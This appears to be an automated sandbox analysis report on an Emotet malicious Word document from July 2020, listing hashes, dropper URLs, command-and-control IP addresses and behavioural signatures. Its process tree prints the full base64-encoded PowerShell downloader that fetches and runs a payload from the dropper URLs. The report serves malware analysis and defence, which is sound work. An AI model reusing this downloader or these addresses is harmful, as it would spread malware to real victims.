Analysis

  • max time kernel
    135s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    31-07-2020 19:49

General

  • Target

    emotet_e2_3b7a8113d697870b5e42e2e68229e8e29ffb1f48de1e42898d21001554e391de_2020-07-31__194828._doc.doc

  • Size

    175KB

  • MD5

    f07ca3a87abc857ea6541ac28bc8ba16

  • SHA1

    7fa129b5eb2717257189e5c43bc7984389e67e48

  • SHA256

    3b7a8113d697870b5e42e2e68229e8e29ffb1f48de1e42898d21001554e391de

  • SHA512

    7b7305025a4bbafc8ea97d071afe86975d17a526d611fde2fca86080f7c57d7a31de6592bf9eb57aba71b727e5f37c2848029f835725f4b08511e64378c42ba0

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://nwcsvcs.com/cgi-bin/uz6_qs8_qr/

exe.dropper

http://odessaresources.com/cgi-bin/3_o_but9/

exe.dropper

https://onefarmdesign.com/cgi-bin/u_fig_m2mv/

exe.dropper

http://onewithyoucd.com/_mm/oix_ktcpc_dljhsex/

exe.dropper

http://www.piemonteitinera.net/n_g2o4_jumkt4/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

  • Drops file in System32 directory 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_3b7a8113d697870b5e42e2e68229e8e29ffb1f48de1e42898d21001554e391de_2020-07-31__194828._doc.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    PID:3908
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABaAEMAUQBEAFgAeABwAGIAPQAnAFoAWABHAE0ASwBjAHgAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAGAAUgBgAGkAVAB5AHAAcgBPAFQAYABPAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQATwBJAEcARwBJAGIAdABwACAAPQAgACcAOAA0ADkAJwA7ACQAQQBZAEsAUABVAGkAbABxAD0AJwBZAEgARgBOAEsAYwBjAG8AJwA7ACQAVwBGAEIATgBTAHMAdgBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABPAEkARwBHAEkAYgB0AHAAKwAnAC4AZQB4AGUAJwA7ACQAUwBIAEUAWQBRAHAAdgB1AD0AJwBDAFgARQBKAFcAZQBkAHAAJwA7ACQARgBHAFYATQBUAGgAaQBiAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAFcARQBCAEMATABpAEUATgBUADsAJABOAFEAQwBLAE0AdwBhAHkAPQAnAGgAdAB0AHAAOgAvAC8AbgB3AGMAcwB2AGMAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHUAegA2AF8AcQBzADgAXwBxAHIALwAqAGgAdAB0AHAAOgAvAC8AbwBkAGUAcwBzAGEAcgBlAHMAbwB1AHIAYwBlAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAzAF8AbwBfAGIAdQB0ADkALwAqAGgAdAB0AHAAcwA6AC8ALwBvAG4AZQBmAGEAcgBtAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AdQBfAGYAaQBnAF8AbQAyAG0AdgAvACoAaAB0AHQAcAA6AC8ALwBvAG4AZQB3AGkAdABoAHkAbwB1AGMAZAAuAGMAbwBtAC8AXwBtAG0ALwBvAGkAeABfAGsAdABjAHAAYwBfAGQAbABqAGgAcwBlAHgALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBwAGkAZQBtAG8AbgB0AGUAaQB0AGkAbgBlAHIAYQAuAG4AZQB0AC8AbgBfAGcAMgBvADQAXwBqAHUAbQBrAHQANAAvACcALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUABOAFcAVgBMAGcAaABjAD0AJwBUAEsAVgBLAEgAbwBkAHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAUABIAEgAWgBpAGMAcgAgAGkAbgAgACQATgBRAEMASwBNAHcAYQB5ACkAewB0AHIAeQB7ACQARgBHAFYATQBUAGgAaQBiAC4AIgBkAE8AdwBOAGwATwBBAGQAZgBgAEkAYABsAEUAIgAoACQARgBQAEgASABaAGkAYwByACwAIAAkAFcARgBCAE4AUwBzAHYAcwApADsAJABMAEIASABVAFQAegBhAGoAPQAnAEQATwBMAEIASgB2AHUAbgAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAFcARgBCAE4AUwBzAHYAcwApAC4AIgBsAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIAMAA3ADcAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGAARQBhAFQAZQAiACgAJABXAEYAQgBOAFMAcwB2AHMAKQA7ACQAWABWAFgAUgBPAHUAYwBrAD0AJwBTAFAAUQBHAEQAcQByAG4AJwA7AGIAcgBlAGEAawA7ACQAVQBVAFgAVQBDAG4AZABuAD0AJwBTAEEAQQBQAFUAbgBmAHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBLAFQAWgBRAG8AcABxAD0AJwBOAEkASABLAFMAaQB1AHMAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    PID:644
  • C:\Users\Admin\849.exe
    C:\Users\Admin\849.exe
    1⤵
    • Drops file in System32 directory
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    PID:1768
    • C:\Windows\SysWOW64\KBDHEB\Windows.ApplicationModel.Background.SystemEventsBroker.exe
      "C:\Windows\SysWOW64\KBDHEB\Windows.ApplicationModel.Background.SystemEventsBroker.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:2484

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1768-9-0x0000000002190000-0x000000000219C000-memory.dmp

    Filesize

    48KB

  • memory/2484-12-0x00000000005A0000-0x00000000005AC000-memory.dmp

    Filesize

    48KB

  • memory/3908-3-0x00000225398AE000-0x00000225398B3000-memory.dmp

    Filesize

    20KB

  • memory/3908-6-0x00000225376AC000-0x00000225376B5000-memory.dmp

    Filesize

    36KB

  • memory/3908-5-0x00000225398AE000-0x00000225398B3000-memory.dmp

    Filesize

    20KB

  • memory/3908-4-0x00000225398A6000-0x00000225398AE000-memory.dmp

    Filesize

    32KB

  • memory/3908-0-0x0000022539879000-0x000002253987C000-memory.dmp

    Filesize

    12KB

  • memory/3908-2-0x00000225398AE000-0x00000225398B3000-memory.dmp

    Filesize

    20KB

  • memory/3908-1-0x00000225398AE000-0x00000225398B3000-memory.dmp

    Filesize

    20KB